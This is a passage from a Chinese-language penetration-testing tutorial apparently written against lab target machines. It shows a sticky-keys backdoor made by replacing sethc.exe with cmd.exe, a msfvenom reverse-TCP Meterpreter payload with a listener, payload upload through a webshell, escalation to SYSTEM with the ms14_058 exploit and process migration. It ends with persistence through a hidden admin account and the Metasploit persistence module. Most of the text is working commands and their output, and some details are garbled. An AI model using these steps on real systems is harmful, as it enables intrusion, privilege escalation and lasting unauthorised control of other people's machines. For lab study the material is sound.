远程管理 ftpserver,下载 FileZilla 并远程登录靶机 ftpserver
9.2.3 创建 ftp user 并分配权限
在系统中,FileZilla 服务器是以系统权限启动的,可以修改默认的位置为 C 盘根目录
9.2.4 创建 shift 后门
使用创建的 ftp user 登录到靶机
通过 ftp 客户端,将 cmd.exe 改名为 sethc.exe,并替换靶机的C:\windows\system32\sethc.exe
生成 shift 后门
9.2.5 测试后门
mstsc 连接 3389 按 5 次 shift 调出 cmd.exe
10 MSF 中 Windows 提权完整流程
10.1 MSF 中 windows 提权模块
metasploit 提权EXP 存储文件夹路径/usr/share/metasploit-framework/modules/exploits/windows/local
/
ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码exploit/windows/local/ms14_058_track_popup_menums16_016 WebDAV本地提权漏洞(CVE--0051)exploit/windows/local/ms16_016_webdavms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞exploit/windows/local/ms16_032_secondary_logon_handle_privesc
10.2 利用 MSF 生成反向 shell payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.128 lport=8888 -f exe > 8888.exe
10.3 本地开启监听
msfconsole use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.100.128set lport 8888exploit/run
10.4 上传 Payload
将生成的 Payload 通过 Webshell 上传到靶机的可执行目录中
通过 cmdshell 运行 payload,获得一个NT AUTHORITY\NETWORK SERVICE
用户权限
10.5 提权
System Commands
Command Description------- -----------clearev Clear the event logdrop_token Relinquishes any active impersonation token.execute Execute a commandgetenv Get one or more environment variable valuesgetpid Get the current process identifiergetprivsAttempt to enable all privileges available to the current process 尽可能提升权限getsid Get the SID of the user that the server is running asgetuid Get the user that the server is running as 查看当前用户killTerminate a processlocaltimeDisplays the target system local date and timepgrep Filter processes by namepkill Terminate processes by nameps List running processes 列出进程reboot Reboots the remote computerreg Modify and interact with the remote registryrev2selfCalls RevertToSelf() on the remote machineshell Drop into a system command shellshutdownShuts down the remote computersteal_token Attempts to steal an impersonation token from the target processsuspend Suspends or resumes a list of processessysinfo Gets information about the remote system, such as OS 查看系统信息migrate Migrate the server to another process 注入进程getsystemAttempt to elevate your privilege to that of local system. 通过各种攻击向量来提升本地系统权限
10.5.1 使用 getsystem 提权
由以下信息可知,提权失败
meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: This function is not supported on this system. The following was attempted:[-] Named Pipe Impersonation (In Memory/Admin)[-] Named Pipe Impersonation (Dropper/Admin)[-] Token Duplication (In Memory/Admin)[-] Named Pipe Impersonation (RPCSS variant)
10.5.2 使用模块进行提权
use exploit/windows/local/ms14_058_track_popup_menuset session 3msf6 exploit(windows/local/ms14_058_track_popup_menu) > run [*] Started reverse TCP handler on 192.168.100.128:4444 [*] Launching notepad to host the exploit...[+] Process 2388 launched.[*] Reflectively injecting the exploit DLL into 2388...[*] Injecting exploit into 2388...[*] Sending stage (175174 bytes) to 192.168.100.131[*] Exploit injected. Injecting payload into 2388...[*] Payload injected. Executing exploit...[*] Sending stage (175174 bytes) to 192.168.100.131[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.[*] Meterpreter session 4 opened (192.168.100.128:4444 -> 192.168.100.131:1105) at -07-18 11:30:50 +0800[*] Meterpreter session 5 opened (192.168.100.128:4444 -> 192.168.100.131:1107) at -07-18 11:30:51 +0800meterpreter > getuidServer username: NT AUTHORITY\SYSTEM# 提权成功
10.5.3 migrate 注入进程
防止目标关闭 8888.exe 程序,最好将进程进行迁移
# 通过 ps 命令获取靶机的进程ps# 防止目标关闭 8888.exe 程序,将进程进行迁移,如迁移至 explorer.exemeterpreter > migrate 2916[*] Migrating from 192 to 2916...[*] Migration completed successfully.也可以在设置提权 exp 时,设置自动脚本进行自动迁移set autorunscript migrate -n explorer.exe
10.6 持久后门
内网渗透----常见后门_浅笑996的博客-CSDN博客
利用漏洞取得的 metepreter 运行在内存中,重启失效重复 exploit 漏洞可能造成服务崩溃持久后门保证漏洞修复后仍可远程控制
10.6.1 增加管理员run exploit/windows/local/persistence
net user test 123456 /add && net localground administrators test /add# 在 kali 里面链接远程终端rdesktop 192.168.100.131
10.6.2 persistence 后门
use exploit/windows/local/persistenceset session 6# session 6 为已获得最高权限的 sessionset delay 30set lhost 192.168.100.128set lport 88888msf6 exploit(windows/local/persistence) > [*] Running persistent module against WINDOES-TARGET01 via session ID: 6[!] Note: Current user is SYSTEM & STARTUP == USER. This user may not login often![+] Persistent VBS script written on WINDOES-TARGET01 to C:\WINDOWS\TEMP\bvifQmDbl.vbs[*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AZkTNi[+] Installed autorun on WINDOES-TARGET01 as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AZkTNi[*] Clean up Meterpreter RC file: /root/.msf4/logs/persistence/WINDOES-TARGET01_0718.0646/WINDOES-TARGET01_0718.0646.rc